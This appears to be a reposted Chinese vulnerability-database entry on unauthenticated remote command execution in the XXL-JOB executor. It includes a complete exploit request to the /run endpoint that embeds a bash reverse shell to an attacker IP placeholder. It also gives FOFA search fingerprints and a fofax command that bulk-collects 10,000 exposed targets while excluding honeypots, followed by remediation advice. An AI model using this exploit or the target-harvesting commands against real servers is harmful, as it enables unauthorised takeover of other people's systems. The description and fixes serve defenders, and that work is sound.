【漏洞库】XXL

编程入门 行业动态 更新时间:2024-10-08 08:33:10

【<a href=https://www.elefans.com/category/jswz/34/1770270.html style=漏洞库】XXL"/>

【漏洞库】XXL

文章目录

    • 漏洞描述
    • 漏洞编号
    • 漏洞评级
    • 影响版本
    • 漏洞复现
      • - EXP 编写
    • 漏洞挖掘
    • 修复建议

漏洞描述

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。

该问题本质上不属于 “漏洞”,官网版本提供了鉴权组件,开启即可进行防护。

该问题类似于将一台Mysql、Redis实例,不设置密码并开放给公网,严格来说不能因此说Mysql、Redis有漏洞,只需要设置密码即可。

漏洞编号

漏洞评级

高危

影响版本

XXL-JOB <= 2.2.0

漏洞复现

复现环境与复现参考链接:/

- EXP 编写

POST /run HTTP/1.1
Host: 目标IP:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 391{"jobId": 2,"executorHandler": "demoJobHandler","executorParams": "demoJobHandler","executorBlockStrategy": "COVER_EARLY","executorTimeout": 0,"logId": 1,"logDateTime": 1586629003729,"glueType": "GLUE_SHELL","glueSource": "bash -i >& /dev/tcp/攻击者IP/攻击者监听端口 0>&1","glueUpdatetime": 1586699003758,"broadcastIndex": 0,"broadcastTotal": 0
}

执行以上EXP之后,我们可以GetShell,如下图:

注意,我们编写的EXP只能用一次,如果第二次用其他命令就无法命令执行了,除非目标的服务重启,我们才能执行其他的命令,不然只能一直使用第一次用的EXP。

漏洞挖掘

fofa语法:

app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"

批量收集资产:通过fofax工具,使用-e参数排除蜜罐干扰,然后通过fofa查找10000条数据并放入txt文件中

echo 'app="xxl-job" || icon_hash="1691956220" || title="任务调度中心"' | fofax -fs 10000 -e>xxl-job.txt

修复建议

  • 1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。
  • 2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。
  • 3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端口。

更多推荐

【漏洞库】XXL

本文发布于:2023-11-16 19:44:54,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1633692.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:漏洞   XXL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!